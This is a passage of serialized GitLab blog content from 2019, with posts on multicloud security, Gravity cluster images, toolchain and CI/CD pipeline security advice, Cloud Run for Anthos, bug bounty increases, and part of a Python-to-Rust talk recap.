intelligence, and endpoint detection and response.\n\n**Keep things consistent:** Develop a set of security policies and procedures\nto enforce on all of your clouds (and any on-prem software too, for that matter).\nWhile there will almost always be some kind of incompatibility, a benchmark or\nstandardized security policy will reduce the risk of oversights.\n\n**Cloud agnostic software:** Use security tools that can easily integrate with\nany cloud service, and that can scale with increased apps and workloads.\n\n**Go beyond your CSP’s tools:** Your cloud providers have tools to keep their\nofferings safe, but protection of the data itself falls to you. Some vendors\nmay be able to advise which capabilities you need within their infrastructure\nto keep your data safe.\n\n**Confidential computing:** Data protection usually focuses on data at rest and\nin transit, but what about data in use? Protect data as it is being processed,\nand always know _where_ the data is being used. Confidential computing will\nallow encrypted data to be processed in memory without exposing it to the rest\nof the system. This is a relatively new area, so consider keeping tabs on\nthe [Confidential Computing Consortium](https://confidentialcomputing.io/) to\nstay in the loop.\n\n**Anticipate unforeseen changes:** Planning for the unknown seems like an\noxymoron – but in tech, it’s not. Things change constantly, and often in ways\nwe don’t predict. Make sure your systems and environments can adapt to whatever\nthe market throws at you.\n\n**Stay informed of new computing trends:** For instance, [Nick Ismail from\nInformation Age highlights that serverless computing adoption is growing](https://www.information-age.com/business-multicloud-strategy-123471227/) as it allows cloud\ninstances to be scaled and patched instantly, and machine learning will be able\nto help servers identify patterns of malicious behavior and respond faster than\nhuman administrators can respond.\n\n## Looking ahead\n\nJust like every market, cloud will continue to change as vendors make new\nalliances and focus on new capabilities. In 2020, [Forrester predicts](https://go.forrester.com/blogs/predictions-2020-cloud/)\nthat hyperscale global public cloud leaders will form more alliances, while\ncloud management vendors will shift their focus to security – after a\nhigh-visibility data breach. Take steps to ensure that that breach isn’t yours\nby assessing the current and future state of your cloud strategy, and infusing\nsecurity into everything you do.\n\nCover image by [Michael Weidner](https://unsplash.com/@michaelbweidner) on [Unsplash](https://unsplash.com/photos/h-rP5KSC2W0).\n{: .note}\n",[674,6141,3949],{"slug":26254,"featured":6,"template":678},"multi-cloud-security","content:en-us:blog:multi-cloud-security.yml","Multi Cloud Security","en-us/blog/multi-cloud-security.yml","en-us/blog/multi-cloud-security",{"_path":26260,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26261,"content":26267,"config":26273,"_id":26275,"_type":16,"title":26276,"_source":17,"_file":26277,"_stem":26278,"_extension":20},"/en-us/blog/from-idea-to-production-on-thousands-of-clouds",{"title":26262,"description":26263,"ogTitle":26262,"ogDescription":26263,"noIndex":6,"ogImage":26264,"ogUrl":26265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26265,"schema":26266},"From idea to production on thousands of clouds","Deliver cloud native applications in more places consistently at scale with GitLab and Gravity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679266/Blog/Hero%20Images/blue-lights.jpg","https://about.gitlab.com/blog/from-idea-to-production-on-thousands-of-clouds","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"From idea to production on thousands of clouds\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ev Kontsevoy\"}],\n        \"datePublished\": \"2019-11-20\",\n      }",{"title":26262,"description":26263,"authors":26268,"heroImage":26264,"date":26270,"body":26271,"category":299,"tags":26272},[26269],"Ev Kontsevoy","2019-11-20","\nToday, deploying an application with GitLab is easier than ever: just create a Kubernetes cluster on your cloud of choice, connect it to GitLab with the Kubernetes integration, and Auto DevOps creates a full deployment pipeline for you.\n\nBut what if you need your app to run in two clusters in two separate regions? Ten clusters across multiple cloud providers? A hundred clusters and also on a fleet of self-driving trucks?\n\nAt [Gravitational](https://gravitational.com), we believe the future should not belong to a single cloud provider and developers should be able to run their applications anywhere with the same simplicity as having a single Kubernetes cluster.\n\nI am a huge fan of GitLab. I’ve had the great pleasure of getting to know much of the founding team [over the years](https://about.gitlab.com/blog/gitlab-joins-forces-with-gravitational/) and was happy to provide my [own contribution](https://gitlab.com/gitlab-org/gitlab-foss/issues/22864) to the community a while back. Today, I’m happy to share some thoughts on how to build with GitLab and deploy applications into dozens or even hundreds of cloud environments. \n\n## The rise of multicloud\n\nHow do you run applications in different data centers? Do you need to rewrite them from scratch? AWS may still be the dominant cloud provider, but cloud competitors are eating into their lead. It’s not just the big public cloud companies either. [Private cloud data centers](https://www.forbes.com/sites/jasonbloomberg/2019/02/02/have-private-clouds-finally-found-their-place-in-the-enterprise/#2f859685604f) are growing just as rapidly.\n\nMany companies that need to meet tough security and compliance requirements will require applications to run in their bare metal data centers. Running an application on an on-premises or even air-gapped data center adds additional complexity due to the hundreds or even thousands of dependencies in modern applications.\n\nGravitational has built Gravity, an open source [Kubernetes packaging solution ](https://gravitational.com/gravity/)that allows developers to build “cluster images” (similar to VM images) that can contain an entire Kubernetes cluster pre-loaded with multiple applications. You would use GitLab to go from idea to production, and Gravity to expand your production to anywhere in the world. \n\nStatements like, “I have snapshotted our entire production environment and emailed it to you, so you can run it in your private data center,” will not seem completely crazy.\n\nGravity uses standard, upstream CNCF-supported tooling for creating \"images\" of Kubernetes clusters containing the applications and their dependencies. The resulting files are called cluster images which are just .tar files.\n\nA cluster image can be used to recreate full replicas of the original environments for any deployment environment where compliance and consistency matter, i.e. in locked-down AWS/GCP/Azure environments or even in air-gapped server rooms. Each image includes all dependencies to spin up a full cluster, as well as the Gravity daemon that handles the most common operational tasks associated with Kubernetes applications, and it monitors and alerts human operators of problems.\n\n## Deploy with GitLab, scale with Gravity\n\n![Gravity dashboard](https://about.gitlab.com/images/blogimages/gravity-dashboard.png)\n\nDevelopers can leverage a GitLab repository as a single source of truth for rolling out a Kubernetes app and leverage [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) for continuous delivery.\n\nAny project of meaningful scale begins by defining an [epic](https://docs.gitlab.com/ee/user/group/epics/) with goals, milestones, and tasks. An [issue](https://docs.gitlab.com/ee/user/project/issues/#issues) is the main object for collaborating on ideas and planning work. GitLab’s [package and container registry](https://about.gitlab.com/stages-devops-lifecycle/package/) helps you manage and package dependencies. \n\n[The GitLab Kubernetes integration](https://docs.gitlab.com/ee/user/project/clusters/) allows customers to create Kubernetes clusters, utilize review apps, run pipelines, use web terminals, deploy apps, view pod logs, detect and monitor Kubernetes, and much more. For deploying a Kubernetes cluster in a single destination, GitLab provides everything you need from start to finish. \n\nHowever, if your customers need to run your application in their private data centers, they can use Gravity, which essentially copy/pastes the entire Kubernetes cluster environment you’ve built in GitLab. \n\n[Download](https://gravitational.com/gravity/download/) and set up the Gravity open source edition following our [quickstart guide](https://gravitational.com/gravity/docs/quickstart/). From Gravity, you can build a cluster image of your Kubernetes application. Gravity’s [documentation](https://gravitational.com/gravity/docs/overview/) will walk you through the steps required to build an image manifest that describes the image build, the installation process, and the system requirements for the cluster. \n\nYou can build empty Kubernetes cluster images to quickly create a large number of identical, production-ready Kubernetes clusters within an organization, or you can build a cluster image that also includes Kubernetes applications to distribute your application to third parties. \n\n## Next steps\n\nIf you want to learn more about working with Kubernetes, start with [Kubernetes 101](https://www.youtube.com/watch?v=rq4GZ_GybN8). You’ll learn how GitLab and Kubernetes interact at various touchpoints. And, if you’re looking for a way to port your applications to new environments, check out [Gravity](https://gravitational.com/gravity). \n\n## About the guest author\n\nEv is a co-founder and the CEO of Gravitational. Before Gravitational, he launched the on-demand OpenCompute servers at Rackspace. Prior to Rackspace, he co-founded Mailgun, the first email service built for developers. Ev has been a fighter against unnecessary complexity in software for 20 years. He abhors cars but loves trains and open source software that doesn't require an army of consultants to operate.\n\n## About Gravitational\n\n[Gravitational](https://gravitational.com) helps companies deliver cloud applications across cloud providers, on-premises environments, and even air-gapped server rooms. Products include Teleport for multi-cloud privileged access management that doesn't get in the way of developer productivity, and Gravity, a Kubernetes packaging solution that takes the drama out of on-prem deployments. Gravitational was founded in 2015 and recently [announced their Series A](https://gravitational.com/blog/gravitational-series-a-funding/). \n\nCover image by [Sharon McCutcheon](https://unsplash.com/@sharonmccutcheon) on [Unsplash](https://unsplash.com/photos/TMwHpCrU8D4)\n",[3949,4103,232,2509,110,10921],{"slug":26274,"featured":6,"template":678},"from-idea-to-production-on-thousands-of-clouds","content:en-us:blog:from-idea-to-production-on-thousands-of-clouds.yml","From Idea To Production On Thousands Of Clouds","en-us/blog/from-idea-to-production-on-thousands-of-clouds.yml","en-us/blog/from-idea-to-production-on-thousands-of-clouds",{"_path":26280,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26281,"content":26287,"config":26291,"_id":26293,"_type":16,"title":26294,"_source":17,"_file":26295,"_stem":26296,"_extension":20},"/en-us/blog/toolchain-security-with-gitlab",{"title":26282,"description":26283,"ogTitle":26282,"ogDescription":26283,"noIndex":6,"ogImage":26284,"ogUrl":26285,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26285,"schema":26286},"How to overcome toolchain security challenges with GitLab","Use GitLab to control your toolchain sprawl, improve team communication and productivity, and secure your DevOps lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673158/Blog/Hero%20Images/toolchain-security-gitlab-cover.jpg","https://about.gitlab.com/blog/toolchain-security-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to overcome toolchain security challenges with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-11-20\",\n      }",{"title":26282,"description":26283,"authors":26288,"heroImage":26284,"date":26270,"body":26289,"category":674,"tags":26290},[22656],"\nIntegrated toolchains [are on the rise](https://go.forrester.com/blogs/the-rise-fall-and-rise-again-of-the-integrated-developer-tool-chain/), according to Forrester analyst Christopher Condo. Integrated toolchains actually faded out for a while\nbecause developers wanted to avoid vendor lock in - and because sometimes solutions didn’t [play well with others](/handbook/product/gitlab-the-product/#plays-well-with-others).\nBut today, the growing popularity of CI/CD and open source means more free tools in the software delivery market and dev teams are happily adding them to their arsenal.\n\nUnfortunately, too much of a good thing can be a bad thing. Integrating,\nmanaging, and protecting the DevOps lifecycle has become a burden on many teams.\nIn a recent [Forrester report](/resources/whitepaper-forrester-manage-your-toolchain/),\nover three quarters of survey respondents said their teams use more than two\ntoolchains to support software delivery, and a majority reported that each\ntoolchain is made up of six or more tools.\n\nDevOps fosters innovation but an overly complex toolchain stifles it.\nToolchain maintenance and management shouldn’t consume resources that could\notherwise be invested in product development and innovation, but that’s the reality\non the ground for too many teams.\n\n## Complex toolchains compromise security\n\nManaging these toolchains has become a monumental task, with some businesses\ndevoting 10% of their dev team to toolchain maintenance, according to the Forrester report.\nBesides inhibiting productivity, toolchain complexity also poses a risk to\nyour security posture.\n\nMost teams are tasked with integrating their toolchains by manual means, such\nas plugins and scripts or hard-coded custom integrations. Not only is this\nlabor-intensive, it also adds the significant risk of human error.\nAdditionally, more tools mean more authentication and security requirements to\nmanage, less visibility into the software\nlifecycle, and no view into the process of maintaining the toolchain\nitself - all of which adds unnecessary risk for your IT and dev teams to deal\nwith.\n\nMeanwhile, the consequences of poor security practices are mounting. [According to IBM](https://databreachcalculator.mybluemix.net),\nit takes businesses an average of 279 days to identify and contain a breach,\nat an average cost of $3.9 million.\n\n## DevSecOps with GitLab: your knight in shining armor\n\nLuckily, we’re here to save the day. [GitLab is a single out-of-the-box solution\nfor your **entire** software delivery lifecycle](/stages-devops-lifecycle/) -\nsolving your authentication and requirement woes right off the bat. We’ve built\na number of security and risk prevention measures into many of the DevOps lifecycle\nphases: code reviews, static and dynamic [application security\ntesting](/topics/devsecops/), dependency and container scanning, license compliance, and incident\nmanagement. We also have an exciting array of new features on the horizon, which\ncan be found in the table below.\n\n![GitLab is a complete DevOps platform, delivered as a single application.](https://about.gitlab.com/images/blogimages/toolchain-security-gitlab-inline.png){: .shadow}\n\nDevSecOps is a product of the shift-left movement, integrating security into\nthe earliest possible phases of DevOps. Bringing security in at the beginning\nhelps teams understand where certain testing processes and controls need to\nfall, and helps save time, energy, and resources as you move through the final\nphases of DevOps.\n\nGitLab’s single application eases communication between teams, increases\nvisibility, and streamlines your DevOps lifecycle as a whole. We’re here to\nhelp your teams achieve faster delivery cycles without compromising quality,\nand bring your security practices to the speed of the business.\n\nCover image by [Jukan Tateisi](https://unsplash.com/@tateisimikito) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[4103,2368,674],{"slug":26292,"featured":6,"template":678},"toolchain-security-with-gitlab","content:en-us:blog:toolchain-security-with-gitlab.yml","Toolchain Security With Gitlab","en-us/blog/toolchain-security-with-gitlab.yml","en-us/blog/toolchain-security-with-gitlab",{"_path":26298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26299,"content":26305,"config":26310,"_id":26312,"_type":16,"title":26313,"_source":17,"_file":26314,"_stem":26315,"_extension":20},"/en-us/blog/defend-cicd-security",{"title":26300,"description":26301,"ogTitle":26300,"ogDescription":26301,"noIndex":6,"ogImage":26302,"ogUrl":26303,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26303,"schema":26304},"Defending the CI/CD pipeline","Speed to launch often comes at the cost of security – but it doesn’t have to. Here are four ways to achieve both by using a CI/CD pipeline","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678499/Blog/Hero%20Images/defend-cicd-security.jpg","https://about.gitlab.com/blog/defend-cicd-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Defending the CI/CD pipeline\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-11-19\",\n      }",{"title":26300,"description":26301,"authors":26306,"heroImage":26302,"date":26307,"body":26308,"category":8943,"tags":26309},[22656],"2019-11-19","\n[CI/CD](/topics/ci-cd/) is a way to release software as quickly as possible, which, unfortunately, often comes at the expense of security. [Synopsys and \n451 Research found](https://www.synopsys.com/blogs/software-security/security-challenges-cicd-workflows/) \nthe most significant [application security](/topics/devsecops/) challenges in CI/CD workflows \ninclude a lack of automated, integrated security testing tools, inconsistent \nmethods, slowed workflows, and too many false positives.\n\nThere’s also the challenge of securing the pipeline itself. Traditional and \nmanual security practices can’t scale to the level of CI/CD – the resulting delivery pipelines expand a company’s attack surface by a significant measure. The pipeline represents an end-to-end lifecycle for your software which makes it a \nprime target for hackers. It's clear [CI/CD security](/solutions/security-compliance/) can’t be an afterthought. DevOps teams \nmust bring security issues to the forefront of their considerations throughout the SDLC. \n\n## Security risks in enterprise CI/CD\n\nCI/CD significantly broadens your attack surface with a lengthy list of \ncomponents – repositories, servers, containers, and for those who don’t use \nGitLab, a wide array of tools. A large number of moving pieces presents a \ntempting ROI for hackers – one compromised segment of the ecosystem could open \nup the entire infrastructure for exploitation. [As tech journalist Twain Taylor \nexplains](https://thenewstack.io/the-biggest-security-risks-lurking-in-your-ci-cd-pipeline/), \nsecuring the CI/CD pipeline is not a straightforward process. Teams need to study the \npipeline, understand what information the pipeline ingests, uncover any major \nvulnerabilities and find ways to eliminate those risks.\n\nAlso, tools that lack transparency, require frequent switching \nbetween platforms, and inhibit the overall workflow are less likely to be \nadopted – and more likely to be worked around. Workarounds can create friction in the pipeline which can mean inconsistent \ntesting and remediation, all of which can allow more vulnerabilities to make their way \nthrough to production and launch.\n\n## Defending against CI/CD pipeline risks\n\nSecure CI/CD can be achieved through [DevSecOps](/topics/devsecops/) but you’ll need a mature CI/CD solution to get you there. In addition to the \nstability of the solution, your lifecycle ecosystem must be well-maintained and \neasily monitored for suspicious activity. Four of the most important aspects of \na secure CI/CD pipeline are automation, access management, positive user \nexperience, and transparency.\n\n### Automation\n\nAutomation, at the very least, should allow you to bring your security \npractices (especially [testing](/stages-devops-lifecycle/application-security-testing/)) \nup to the speed and scale of CI/CD. The value of automation magnifies when \nprocesses are standardized across teams and organizations. By introducing \nrepeatability to your projects, you’re also creating expected functionality and operations within your pipeline. When there are behaviors \nor activities that don’t align to the expected, a red flag will be triggered alerting developers to potential threats.\n\n### Access management\n\nAccess rights should be considered for both human-to-tool and tool-to-tool \ninteractions. [Tripwire recommends](https://www.tripwire.com/state-of-security/devops/security-ci-cd-pipeline-flowing/) \nrequiring authentication for anyone to push changes to the pipeline, \nimplementing login tracking, and confirming that builds reside on secure \nservers. \n\nCommunication between tools and components should be carefully managed \nto ensure that access is only granted on an as-needed basis. The New Stack's Twain also notes it’s important to consider what secrets are contained in pipeline scripts. He recommends removing any keys, credentials, and secrets from scripts and \nprotecting them with trusted secrets managers. He also suggests implementing \naccess control across your entire toolchain to revoke anything anonymous or shared, and to regularly audit the controls across the \necosystem. \n\n### User experience\n\nSeamless integration between tools will make a night-and-day difference in \nsecuring your CI/CD pipeline (alternatively, you could also use [a single tool \nfor the entire lifecycle]/handbook/product/single-application/)). \nEven though security is gaining traction in the minds of non-security \nprofessionals, it still remains a challenge for many development teams. Provide \ndevelopers with tools and practices that are standard across the organization, \nand reduce friction between tools as much as possible. \n\nWith lower barriers to \nadoption, your team will be less likely to create workarounds that could \njeopardize your business or customers. Providing users with immediate \nfeedback on the security of their code will enable them to remediate on the \nspot and serve an educational purpose, showing developers what to watch out \nfor when writing code. \n\n### Transparency\n\nIt's vital to have a view into what happens throughout the CI/CD pipeline. Maintain a single source of truth that logs every change – \nas well as its origin – and include functionality that allows sign-off for any \nhigh-stakes updates. Transparency also builds accountability among team members, \nreenforcing the idea that everyone is responsible for security. Lastly, \ntransparency is crucial to your team communication strategy. Methodologies and \nknowledge should be communicated openly and thoroughly, so that everyone on the \nteam understands how to apply best practices and what the intended outcomes are.\n\n## Speed and security: No longer a paradox\n\nEach of the above steps will help your security efforts shift left in the \nSDLC. Moving it all earlier in the process will enable you to release secure, quality software at the \nspeed of the business. This can only happen if there is true collaboration between development, operations, \nand security. Set policies and standard practices, understand respective \ngoals, and foster a culture of responsibility for the software as a \nwhole – and not just one facet of its creation or performance.\n\n## The security benefits of a single CI/CD tool for the entire lifecycle\n\nIt’s extremely important to use established tools that have been thoroughly \nvetted by both your internal teams and the market at large. That being said, \nfinding the best-in-class tools for every phase of the lifecycle and then \nsuccessfully (and securely) stringing them together can be a nightmare and result in untold technical debt. A single CI/CD tool relieves much of \nthat burden, by eliminating unnecessary platform switching and enabling high \ntransparency throughout the pipeline. With GitLab in particular, security \nchecks are embedded within the development workflow, which both reduces \nfriction for developers and provides a single source of truth for the entire \npipeline.\n\nRegardless of your tool (or tools) of choice, it’s critical that you and your \nteam prioritize security in all aspects of work.\n\nCover image by [Boban Simonovski](https://unsplash.com/@3031n) on [Unsplash](https://unsplash.com/photos/akQ06aB6MfM)\n{: .note}\n",[110,4103,674],{"slug":26311,"featured":6,"template":678},"defend-cicd-security","content:en-us:blog:defend-cicd-security.yml","Defend Cicd Security","en-us/blog/defend-cicd-security.yml","en-us/blog/defend-cicd-security",{"_path":26317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26318,"content":26324,"config":26329,"_id":26331,"_type":16,"title":26332,"_source":17,"_file":26333,"_stem":26334,"_extension":20},"/en-us/blog/gitlab-serverless-with-cloudrun-for-anthos",{"title":26319,"description":26320,"ogTitle":26319,"ogDescription":26320,"noIndex":6,"ogImage":26321,"ogUrl":26322,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26322,"schema":26323},"Announcing GitLab Serverless deploying to Cloud Run for Anthos","Discover how we're making it easier to deploy serverless workloads on-premise with Anthos.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666851/Blog/Hero%20Images/gitlab-serverless-blog.png","https://about.gitlab.com/blog/gitlab-serverless-with-cloudrun-for-anthos","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing GitLab Serverless deploying to Cloud Run for Anthos\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mayank Tahilramani\"}],\n        \"datePublished\": \"2019-11-19\",\n      }",{"title":26319,"description":26320,"authors":26325,"heroImage":26321,"date":26307,"body":26327,"category":813,"tags":26328},[26326],"Mayank Tahilramani","\nThis week at Google Cloud Next ’19 UK, Google Cloud grew its Anthos product portfolio with the addition of Cloud Run for Anthos running on-prem. I’m excited to share that GitLab has been collaborating with Google Cloud product teams to support this launch and enable customers with CI/CD and [GitLab Serverless](/topics/serverless/) capabilities for quicker and easier adoption of serverless solutions. In the spirit of our partnership, our support for [Cloud Run for Anthos](https://cloud.google.com/run) is a continuation of our collaboration [announced earlier this year at Google Cloud Next ’19 in San Francisco](/blog/running-a-consistent-serverless-platform/), where we showed how you can deploy a serverless function to Cloud Run using the same developer workflow you’re already familiar with in GitLab. Now, we’re looking to bring that same UX and workflow consistency to Cloud Run deployments on Anthos running on-premise. Overall, together, GitLab and Google Cloud are aiming to lower the barrier of adoption for customers looking to architect scalable, cloud native solutions. \n\nHowever, when discussing cloud native, oftentimes ‘public cloud infrastructure’ comes to mind. But when I think of cloud native, I think of the various, modern ways of architecting scalable solutions, backed by managed services to make operations more convenient. Until very recently, infrastructure-centric managed services like Google Kubernetes Engine (GKE), Cloud Run, StackDriver, etc. have been traditionally associated with workloads running within cloud data centers. Given the recent announcements of [Google Cloud Anthos](https://cloud.google.com/blog/products/serverless/knative-based-cloud-run-services-are-ga), Google is clearly broadening the boundaries of cloud native across hybrid and heterogeneous environments, including customer data centers. As the infrastructure landscape diversifies, as application development intertwines with abstraction layers of managed services, and as workload flexibility becomes inherent with microservice containerization, the one thing you can rely on staying consistent is GitLab’s developer workflow to supplement all the above. In the context of all things [serverless](/topics/serverless/), let's take a closer look at what’s available today, what we’re still working on, and what that means for our users.\n\n## What’s available today\n\nGitLab serves as a single application for all of [DevOps](/topics/devops/), which includes building, deploying, and managing serverless applications. GitLab serverless enables developers to focus on writing application code without having to worry about Kubernetes or Knative YAML configuration. GitLab provides templates allowing developers to easily build and deploy Knative services that can be deployed to Cloud Run. Here is a [quick video walkthrough on the anatomy of a serverless project hosted in GitLab and deployed to Knative](https://youtu.be/IIM8JWhAbNk?t=210). With Google, you have a few options on how to leverage Cloud Run as a deployment target for GitLab CI/CD. As of this week, you can run Cloud Run in three different flavors: \n\n1. **Cloud Run**: This is a fully managed cloud service powered by Knative for serverless apps. GitLab supports deploying to Cloud Run and the full CI/CD workflow to leverage GitLab Runners to build and test functions. GitLab takes in the [`serverless.yml`](https://docs.gitlab.com/ee/update/removals.html) file within the root of your source code repository to define and deploy to Cloud Run.  \n\n2. **Cloud Run for Anthos running on Google Cloud**: This is a managed deployment of Knative on Anthos GKE clusters running on Google Cloud Platform. This enables you to install a managed Cloud Run deployment on top of your own Kubernetes cluster. Similar to above, GitLab also supports deploying to Cloud Run via the full CI/CD workflow, but as of right now, the highest version of Knative supported by GitLab is 0.7. Latest version support for Knative is coming in [GitLab 12.6](/releases/) on Dec. 22, 2019.  \n\n3. **Cloud Run for Anthos running on-premise**: Similar to above, this flavor of Cloud Run enables users to run a managed Cloud Run deployment on top of Anthos GKE On-Prem in your own data center. Currently, Knative v.0.9 is deployed in GKE-OP clusters. GitLab is soon to release support for Knative v0.9 and users can track the progress of this work in [this open issue](https://gitlab.com/gitlab-org/gitlabktl/issues/55) today. If you like what we’re working on, stop by and give us a thumbs up for feedback. So far, internal testing has been very positive and we look forward to formally supporting Cloud Run for Anthos running on-premise in the coming months/releases. The user experience will be almost identical to the prior two use cases listed above as you would expect.\n\n## Where to get started\n\nIf you’re interested in getting started with some sample code, check out our [documentation](https://docs.gitlab.com/ee/update/removals.html) and [sample app project](https://gitlab.com/knative-examples/functions) for reference. Additionally, [here is a walkthrough of deploying a demo app to Cloud Run from GitLab](https://youtu.be/lb_bRRAgEyc?t=1103). If you’re looking to get started with Serverless on Google Cloud Platform, [sign up for GitLab.com here](https://gitlab.com/users/sign_up) and then [sign up for $200 additional free GCP credits](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC).\n",[110,3949,4103,232,7715],{"slug":26330,"featured":6,"template":678},"gitlab-serverless-with-cloudrun-for-anthos","content:en-us:blog:gitlab-serverless-with-cloudrun-for-anthos.yml","Gitlab Serverless With Cloudrun For Anthos","en-us/blog/gitlab-serverless-with-cloudrun-for-anthos.yml","en-us/blog/gitlab-serverless-with-cloudrun-for-anthos",{"_path":26336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26337,"content":26343,"config":26348,"_id":26350,"_type":16,"title":26351,"_source":17,"_file":26352,"_stem":26353,"_extension":20},"/en-us/blog/were-increasing-bounties-in-our-bug-bounty-program",{"title":26338,"description":26339,"ogTitle":26338,"ogDescription":26339,"noIndex":6,"ogImage":26340,"ogUrl":26341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26341,"schema":26342},"We are increasing bounties in our bug bounty program","We're now offering higher bounties for critical and high severity reports.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672689/Blog/Hero%20Images/banter-snaps-REyoFHP9pw8-unsplash.jpg","https://about.gitlab.com/blog/were-increasing-bounties-in-our-bug-bounty-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We are increasing bounties in our bug bounty program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-11-18\",\n      }",{"title":26338,"description":26339,"authors":26344,"heroImage":26340,"date":26345,"body":26346,"category":674,"tags":26347},[12307],"2019-11-18","\nSince we opened our bug bounty program to the public in December 2018, our community of external security researchers submitted 1,282 reports and we paid out $515,899 in bounties. \n\nThis past September we told you we were iterating on how and when we pay out bounties. At that point we changed to a model where we pay out a part of the bounty right at the moment when a report is triaged. Now we're making more changes.\n\n### New! Increased bounties for critical and high severity reports\n\nWhat’s better than money in your pocket faster? MORE money in your pocket faster.  \n\nEffective November 18, 2019, we are [increasing the amount of bounty awards for new reports for critical and high vulnerabilities](https://hackerone.com/gitlab)!\n\n| **Critical (9.0 - 10.0)** | **High (7.0-8.9)** | **Medium (4.0-6.9)** | **Low (0.1 - 3.9)** |\n|:-----------:|:-----------:|:-----------:|:-----------:|\n| $20,000 | $10,000 | $3,000 | $1,000 |\n\n### What isn’t changing:\n\n• Program scope   \n• Severity criteria   \n• Rules of engagement   \n• Our SLAs for response, time to triage and time to bounty   \n\nThe skills, depth of expertise and contributions of our security researcher community are strengthening the security of our product and our company in a very real way and we are excited to be able to recognize this with higher bounties. Thank you for your continued contributions and we look forward to your next report!\n\nP.S. There’s still a little time left to participate in our [bug bounty contest running October 1 through November 30](/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest/). Report a bug and be entered to win a sweet piece of GitLab swag!\n\nPhoto by [Banter Snaps](https://unsplash.com/@bantersnaps?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[674,1938],{"slug":26349,"featured":6,"template":678},"were-increasing-bounties-in-our-bug-bounty-program","content:en-us:blog:were-increasing-bounties-in-our-bug-bounty-program.yml","Were Increasing Bounties In Our Bug Bounty Program","en-us/blog/were-increasing-bounties-in-our-bug-bounty-program.yml","en-us/blog/were-increasing-bounties-in-our-bug-bounty-program",{"_path":26355,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26356,"content":26362,"config":26368,"_id":26370,"_type":16,"title":26371,"_source":17,"_file":26372,"_stem":26373,"_extension":20},"/en-us/blog/python-rust-and-gitlab-ci",{"title":26357,"description":26358,"ogTitle":26357,"ogDescription":26358,"noIndex":6,"ogImage":26359,"ogUrl":26360,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26360,"schema":26361},"From idea to production with Python, Rust and GitLab CI","GitLab hero Mario Garcia demos the intricate process at GitLab Commit London.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678507/Blog/Hero%20Images/lightbulb.jpg","https://about.gitlab.com/blog/python-rust-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bringing your application from idea to production using Python, Rust, and GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-11-15\",\n      }",{"title":26363,"description":26358,"authors":26364,"heroImage":26359,"date":26365,"body":26366,"category":299,"tags":26367},"Bringing your application from idea to production using Python, Rust, and GitLab CI",[17272],"2019-11-15","\nDuring his talk at GitLab Commit London, GitLab Hero [Mario García](https://gitlab.com/mattdark), explains how he troubleshooted his way through numerous roadblocks to take his Firebase application from development to production using Rust, Python and GitLab CI.\n\n## Rewriting from Python to Rust\n\n### What is Rust?\n\nWhile Python is a household name among developers, Rust is the new kid on the block when it comes to a systems programming language.\n\n[Rust](https://www.rust-lang.org/) was developed by Mozilla is giving to the world, it's been in development since 2009 with a first stable version released in May 2015 and it aims to improve memory usage while maintaining performance and speed. Mario, who is a Mozilla representative, dedicated himself to learning Rust in late 2015. He started this journey by reading the Rust book, [solving programming exercises](https://exercism.io/tracks/rust), migrating Python code to Rust, and then rewriting one of his [personal projects, a gallery for reveal.js presentations, in Rust](https://gitlab.com/mattdark/reveal-js-gallery).\n\nReveal-js is a framework for creating presentations using HTML, and allows the user to store speaker notes, images, and more in a presentation gallery. Mario first wrote his gallery app in Python but migrated the project into Rust while he was learning the new language and found the process to be relatively painless. But it wasn’t long before Mario hit a bump in the road when it came to using Rust for other projects.\n\n### Problems with Rust\n\n“I was working on another project that I applied to the Mozilla Open Leaders program two years ago,” said Mario. “And for this project I was using [Cairo SVG Python library](https://cairosvg.org/). I needed this specific library because I was converting SVG files to PDF. So that's how I found out that it was _impossible_ to rewrite this specific part with Rust because there is no alternative available in Rust for this library.”\n\nNot only did Rust lack an alternative to the CairoSVG Python library, but there was also no crates (Rust libraries) for Firebase. Mario needed Firebase for his project that takes the database of speaker information and automatically generates certificates of participation.\n\nMario was presenting an example of a web app at Google I/O Extended on how to use Rust 